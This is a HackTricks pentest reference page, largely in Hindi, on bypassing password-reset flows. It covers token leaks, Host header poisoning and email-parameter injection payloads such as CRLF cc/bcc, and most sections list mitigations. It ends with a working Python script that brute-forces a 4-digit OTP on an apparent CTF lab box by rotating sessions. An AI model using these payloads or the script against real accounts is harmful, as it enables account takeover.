Reset/Forgotten Password Bypass

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Password Reset Token Leak Via Referrer

  • HTTP referer हेडर पासवर्ड रीसेट टोकन को लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब कोई उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद किसी तीसरे पक्ष की वेबसाइट लिंक पर क्लिक करता है।
  • Impact: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
  • Exploitation: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें और प्रदान किए गए रीसेट लिंक पर क्लिक करेंअपने पासवर्ड को तुरंत न बदलें। इसके बजाय, Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तीसरे पक्ष की वेबसाइट (जैसे Facebook या Twitter) पर जाएं। जांचें कि क्या referer हेडर में पासवर्ड रीसेट टोकन है, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को हेरफेर कर सकते हैं ताकि रीसेट लिंक को एक दुर्भावनापूर्ण साइट पर इंगित किया जा सके।
  • Impact: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
  • Mitigation Steps:
  • अनुमत डोमेन की व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
  • पूर्ण URLs उत्पन्न करने के लिए सुरक्षित, सर्वर-साइड विधियों का उपयोग करें।
  • Patch: $_SERVER['SERVER_NAME'] का उपयोग करके पासवर्ड रीसेट URLs बनाएं, $_SERVER['HTTP_HOST'] के बजाय।
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

हमलावर पासवर्ड रीसेट अनुरोध को अतिरिक्त ईमेल पैरामीटर जोड़कर रीसेट लिंक को मोड़ सकते हैं।

  • & का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें।
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में %20 का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • हमलावर का ईमेल दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • हमलावर के ईमेल को दूसरे पैरामीटर के रूप में bcc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • हमलावर का ईमेल दूसरे पैरामीटर के रूप में जोड़ें, используя ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • JSON एरे में दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Changing Email And Password of any User through API Parameters

  • हमलावर API अनुरोधों में ईमेल और पासवर्ड पैरामीटर को संशोधित कर सकते हैं ताकि खाता क्रेडेंशियल्स को बदल सकें।
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Mitigation Steps:
  • सुनिश्चित करें कि पैरामीटर मान्यता और प्रमाणीकरण जांच सख्त हैं।
  • संदिग्ध गतिविधियों का पता लगाने और प्रतिक्रिया देने के लिए मजबूत लॉगिंग और निगरानी लागू करें।
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • पासवर्ड रीसेट अनुरोधों पर दर सीमा की कमी ईमेल बमबारी का कारण बन सकती है, जिससे उपयोगकर्ता को रीसेट ईमेल से अभिभूत किया जा सकता है।
  • Mitigation Steps:
  • आईपी पते या उपयोगकर्ता खाते के आधार पर दर सीमा लागू करें।
  • स्वचालित दुरुपयोग को रोकने के लिए CAPTCHA चुनौतियों का उपयोग करें।
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या ब्रूट-फोर्सिंग में मदद मिल सकती है। कुछ विकल्प:
  • आधारित टाइमस्टैम्प
  • उपयोगकर्ता आईडी के आधार पर
  • उपयोगकर्ता के ईमेल के आधार पर
  • पहले नाम और अंतिम नाम के आधार पर
  • जन्म तिथि के आधार पर
  • क्रिप्टोग्राफी के आधार पर
  • Mitigation Steps:
  • टोकन जनरेशन के लिए मजबूत, क्रिप्टोग्राफिक विधियों का उपयोग करें।
  • भविष्यवाणी को रोकने के लिए पर्याप्त यादृता और लंबाई सुनिश्चित करें।
  • Tools: टोकनों की यादृता का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।

Guessable UUID

  • यदि UUIDs (संस्करण 1) अनुमानित या भविष्यवाणी योग्य हैं, तो हमलावर उन्हें वैध रीसेट टोकन उत्पन्न करने के लिए ब्रूट-फोर्स कर सकते हैं। जांचें:

UUID Insecurities

  • Mitigation Steps:
  • यादृता के लिए GUID संस्करण 4 का उपयोग करें या अन्य संस्करणों के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
  • Tools: GUIDs का विश्लेषण और उत्पन्न करने के लिए guidtool का उपयोग करें।

Response Manipulation: Replace Bad Response With Good One

  • त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
  • Mitigation Steps:
  • प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
  • मैन-इन-द-मिडिल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • यह परीक्षण करना कि क्या समाप्त टोकन अभी भी पासवर्ड रीसेट के लिए उपयोग किए जा सकते हैं।
  • Mitigation Steps:
  • सख्त टोकन समाप्ति नीतियों को लागू करें और सर्वर-साइड पर टोकन की समाप्ति को मान्य करें।

Brute Force Password Reset Token

  • IP-आधारित दर सीमाओं को बायपास करने के लिए Burpsuite और IP-Rotator जैसे उपकरणों का उपयोग करके रीसेट टोकन को ब्रूट-फोर्स करने का प्रयास करना।
  • Mitigation Steps:
  • मजबूत दर-सीमित और खाता लॉकआउट तंत्र लागू करें।
  • ब्रूट-फोर्स हमलों के संकेतक के रूप में संदिग्ध गतिविधियों की निगरानी करें।

Try Using Your Token

  • यह परीक्षण करना कि क्या हमलावर का रीसेट टोकन पीड़ित के ईमेल के साथ उपयोग किया जा सकता है।
  • Mitigation Steps:
  • सुनिश्चित करें कि टोकन उपयोगकर्ता सत्र या अन्य उपयोगकर्ता-विशिष्ट विशेषताओं से बंधे हैं।

Session Invalidation in Logout/Password Reset

  • यह सुनिश्चित करना कि जब उपयोगकर्ता लॉगआउट या पासवर्ड रीसेट करता है तो सत्र अमान्य हो जाते हैं।
  • Mitigation Steps:
  • उचित सत्र प्रबंधन लागू करें, यह सुनिश्चित करते हुए कि सभी सत्र लॉगआउट या पासवर्ड रीसेट पर अमान्य हो जाएं।

Session Invalidation in Logout/Password Reset

  • रीसेट टोकनों का एक समाप्ति समय होना चाहिए जिसके बाद वे अमान्य हो जाते हैं।
  • Mitigation Steps:
  • रीसेट टोकनों के लिए एक उचित समाप्ति समय निर्धारित करें और इसे सर्वर-साइड पर सख्ती से लागू करें।

OTP rate limit bypass by changing your session

  • यदि वेबसाइट उपयोगकर्ता सत्र का उपयोग गलत OTP प्रयासों को ट्रैक करने के लिए कर रही है और OTP कमजोर था (<= 4 अंक) तो हम प्रभावी रूप से OTP को ब्रूटफोर्स कर सकते हैं।
  • exploitation:
  • सर्वर द्वारा अवरुद्ध होने के बाद बस एक नया सत्र टोकन अनुरोध करें।
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें